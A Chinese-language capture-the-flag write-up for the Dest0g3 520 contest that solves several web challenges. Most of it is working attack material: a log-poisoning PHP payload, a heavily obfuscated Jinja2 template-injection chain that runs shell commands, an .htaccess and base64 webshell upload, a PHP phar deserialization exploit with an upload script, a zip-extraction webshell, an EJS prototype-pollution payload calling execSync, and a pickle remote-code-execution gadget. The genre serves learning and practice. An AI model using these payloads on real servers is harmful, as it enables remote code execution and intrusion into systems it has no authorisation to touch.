Dest0g3 520迎新赛

phpdest

包含log文件改User-Agent

payload:
?file=/var/log/nginx/access.log

User-Agent: <?php var_dump($flag);?>

EasyPHP

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

time条件是不可能满足了,看下面的自定义错误函数,只需要让程序产生错误就行,.运算用于拼接字符串,传入数组即可

payload:
POST
ctf[]=1

SimpleRCE

glob协议得到文件名,再使用fopen打开文件,fread读取内容

payload:
POST
aaa=echo(fread(fopen(end(glob('/f*')),'r'),100));

EasySSTI

先给个一次性payload

username={%25set%0dpoint=config|string|truncate(4)|last%25}
{%25set%0dcxhx=config|join|truncate(28)|replace(point,wu)|last%25}
{%25set%0dca=config|join|truncate(23)|replace(point,wu)|last|lower%25}
{%25set%0dcb=config|join|truncate(9)|replace(point,wu)|last|lower%25}
{%25set%0dcc=config|join|truncate(31)|replace(point,wu)|last|lower%25}
{%25set%0dcd=config|join|truncate(7)|replace(point,wu)|last|lower%25}
{%25set%0dce=config|join|truncate(4)|replace(point,wu)|last|lower%25}
{%25set%0dcf=config|join|truncate(98)|replace(point,wu)|last|lower%25}
{%25set%0dcg=config|join|truncate(11)|replace(point,wu)|last|lower%25}
{%25set%0dch=config|join|truncate(203)|replace(point,wu)|last|lower%25}
{%25set%0dci=config|join|truncate(16)|replace(point,wu)|last|lower%25}
{%25set%0dcj=config|join|truncate(429)|replace(point,wu)|last|lower%25}
{%25set%0dck=config|join|truncate(75)|replace(point,wu)|last|lower%25}
{%25set%0dcl=config|join|truncate(96)|replace(point,wu)|last|lower%25}
{%25set%0dcm=config|join|truncate(81)|replace(point,wu)|last|lower%25}
{%25set%0dcn=config|join|truncate(5)|replace(point,wu)|last|lower%25}
{%25set%0dco=config|join|truncate(21)|replace(point,wu)|last|lower%25}
{%25set%0dcp=config|join|truncate(19)|replace(point,wu)|last|lower%25}
{%25set%0dcq=config|join|truncate(294)|replace(point,wu)|last|lower%25}
{%25set%0dcr=config|join|truncate(20)|replace(point,wu)|last|lower%25}
{%25set%0dcs=config|join|truncate(14)|replace(point,wu)|last|lower%25}
{%25set%0dct=config|join|truncate(12)|replace(point,wu)|last|lower%25}
{%25set%0dcu=config|join|truncate(10)|replace(point,wu)|last|lower%25}
{%25set%0dcv=config|join|truncate(6)|replace(point,wu)|last|lower%25}
{%25set%0dcx=config|join|truncate(30)|replace(point,wu)|last|lower%25}
{%25set%0dcy=config|join|truncate(77)|replace(point,wu)|last|lower%25}
{%25set%0dcz=config|join|truncate(533)|replace(point,wu)|last|lower%25}
{%25set%0dglo=cxhx%2Bcxhx%2Bcg%2Bcl%2Bco%2Bcb%2Bca%2Bcl%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dcla=cxhx%2Bcxhx%2Bcc%2Bcl%2Bca%2Bcs%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dooo=lipsum|attr(glo)|attr(cp%2Bco%2Bcp)(co%2Bcs)%25}
{%25set%0da1=config|string|truncate(300)|replace(point,wu)|list%25}
{{a1|attr(cp%2Bco%2Bcp)()}}
{{a1|attr(cp%2Bco%2Bcp)()}}
{%25set%0dgang=a1|attr(cp%2Bco%2Bcp)()%25}
{%25set%0da2=config|list|string|truncate(20)|replace(point,wu)|list%25}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{%25set%0dspace=a2|attr(cp%2Bco%2Bcp)()%25}
{{ooo|attr(cp%2Bco%2Bcp%2Bce%2Bcn)(cc%2Bca%2Bct%2Bspace%2Bgang%2Bcf%2Bcl%2Bca%2Bcg)|attr(cr%2Bce%2Bca%2Bcd)()}}

ban的真多////////////

一个获取所有字母的小脚本

str="ENVDEBUGTESTINGPROPAGATE_EXCEPTIONSPRESERVE_CONTEXT_ON_EXCEPTIONSECRET_KEYPERMANENT_SESSION_LIFETIMEUSE_X_SENDFILESERVER_NAMEAPPLICATION_ROOTSESSION_COOKIE_NAMESESSION_COOKIE_DOMAINSESSION_COOKIE_PATHSESSION_COOKIE_HTTPONLYSESSION_COOKIE_SECURESESSION_COOKIE_SAMESITESESSION_REFRESH_EACH_REQUESTMAX_CONTENT_LENGTHSEND_FILE_MAX_AGE_DEFAULTTRAP_BAD_REQUEST_ERRORSTRAP_HTTP_EXCEPTIONSEXPLAIN_TEMPLATE_LOADINGPREFERRED_URL_SCHEMEJSON_AS_ASCIIJSON_SORT_KEYSJSONIFY_PRETTYPRINT_REGULARJSONIFY_MIMETYPETEMPLATES_AUTO_RELOADMAX_COOKIE_SIZE"
for i in "abcdefghijklmnopqrstuvwxyz":
    kkk=0
    for j in str:
        if i==j.lower():
            print(j)
            ini=str.find(j)+4
            print(f"字符{i}:set%0dc{i}=config|join|truncate({ini})|replace(point,wu)|last|lower")
            break

使用做出的字符变量拼接使用,反复使用pop直到拿到自己想要的字符,最后将os模块pop出进行使用(这也导致了这个payload只能一次性使用,使用一次破坏一次环境)

funny_upload

.htaccess解析漏洞

先构造htaccess文件内容

AddType application/x-httpd-php .png

上传图片发现确实被以php文件解析了,而后尝试构造图片马,最终发现<?被过滤,尝试各种标签(php7不支持)绕过无果,00%截断无果,查询得知htaccess也有类似.user.ini的文件包含功能php_value auto_append_file "文件名"相当于执行include("文件名")此处可使用PHP过滤器,所以可以先构造a文件包含base64编码后的木马,而后再使用过滤器解码包含执行

//1.png
PD9waHAgZXZhbCgkX1BPU1RbJ2trayddKTs/Pg==
//.htaccess
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.png"

此时再上传任意png并访问即可执行图片马(居然还ban系统命令执行)

后面就是跟着各位大佬WP做出来并且学习到的新知识啦

PharPOP

进去之后首先发现传不进去东西,由于Error的存在直接传入无法调用__destruct方法也就不能上传文件,看了大佬wp发现是通过构造和反序列化字符串不相等的变量声明数量来导致反序列化过程报错,使得内容被销毁执行__destruct方法

下一步就是构造反序列化链了,最终利用到的是air中的__set方法利用PHP原生类读文件

要触发air类的__set魔术方法,需要给不可访问属性赋值,apple类中__get有赋值 ,触发__get需要读取不可访问属性的值,需要触发tree中__call__call是要调用内部不存在的方法,tree中__destruct方法内return $this->name();。

再回到air类,我们需要p(value),p为DirectoryIterator,value为glob://xxxx,又因为apple-get触发air-set,所以apple-flag的值会传给 value,所以让apple ->flag=‘glob://xxx’ 对于$p,air-get中$p=nana中不存在act属性,_̲_get被触发,返回act,…p为act,所以让act=DirectoryIterator。

回到最外层的tree,要触发__destruct方法需要利用phpGC机制

————————————————
原文链接:https://blog.csdn.net/weixin_46081055/article/details/125046554

最终构造的exp如下

<?php
class air{
    public $p;
}

class tree{
    public $name;
    public $act;
}

class apple {
    public $xxx;
    public $flag;
}
class banana {
}

$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new  banana();
$apple ->flag='glob:///f*';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="DirectoryIterator";
$tree->name= $apple;

$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$tree,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>

在这里我们要修改一下生成的phar文件,触发php的垃圾回收机制来让tree的__destruct方法执行

将此处的1修改为0

因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为tree对象,同时我们又将Array[0]设置为null,这样前面的tree对象便丢失了引用,就会被GC所捕获,就可以执行__destruct了。

此时由于phar文件被修改,所以我们需要修复一下文件签名,python脚本如下

from hashlib import sha1
f = open('./phar1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件

下一步就是要将文件上传上去了,这里用python脚本来将内容上传

import requests
import gzip
import re

url = 'http://602ad6c4-4397-47e9-a1ea-d957fe9c0e7c.node4.buuoj.cn:81/'

file = open("./phar2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象,因为不压缩过不了WAF
print(file_out)
file_out.writelines(file)
file_out.close()
file.close()
res=requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"w";}',
        0: open('./phar.zip', 'rb').read()
    },
)
print(res.text)
# file_get_contents触发phar反序列化
res2 = requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"r";}',
        0: 'phar:///tmp/6e1fdc42161a607b4fcdec2222a38881.jpg'
    }
)
print(res2.text)

拿到flag

ezip

首先是个zip利用的大佬总结,这里要利用的是这个

这里根据zip里面压缩着的文件一个个解压,只要执行过php_zip_extract_file函数,相应的文件夹之下就会出现那个对应的文件。也就是说如果zip包里面第一个文件能被解压但是第二个文件有错误的话,整个命令的的执行会报错但第一个文件在报错前已经被写下来了。

里面有一个关于php解压漏洞的,如果压缩包其中有一个文件的文件名巨长,就会报错,但是里面的木马已经被解压了。所以直接拿那个脚本进行一波跑:

import zipfile
import io
 
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('1.php', b'@<?php eval($_POST[1])?>')
    zf.writestr('A'*5000, b'AAAAA')
 
with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

尝试读取flag发现没有权限,whoami之后发现用户为www-data,suid提权,nl命令走

捞到flag

NodeSoEasy

题目中给了源码,也给了所使用框架的版本号,非常明显的原型链污染,但是在ejs 3.1.7中已经将outputFunctionName的原型链污染漏洞修复了所以我用这个链子干了半天也没结果,看wp利用的是另一个链子escapeFunction

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}}

middle

pickle反序列化捏,自己构造脚本咯

import base64
import pickle
import config
def backdoor():
    return 1;
class People(object):
    def __reduce__(self):
        return (config.backdoor, (["os.popen('cat /flag*').read()"],))
a = People()
c = pickle.dumps(a)
print(base64.b64encode(c))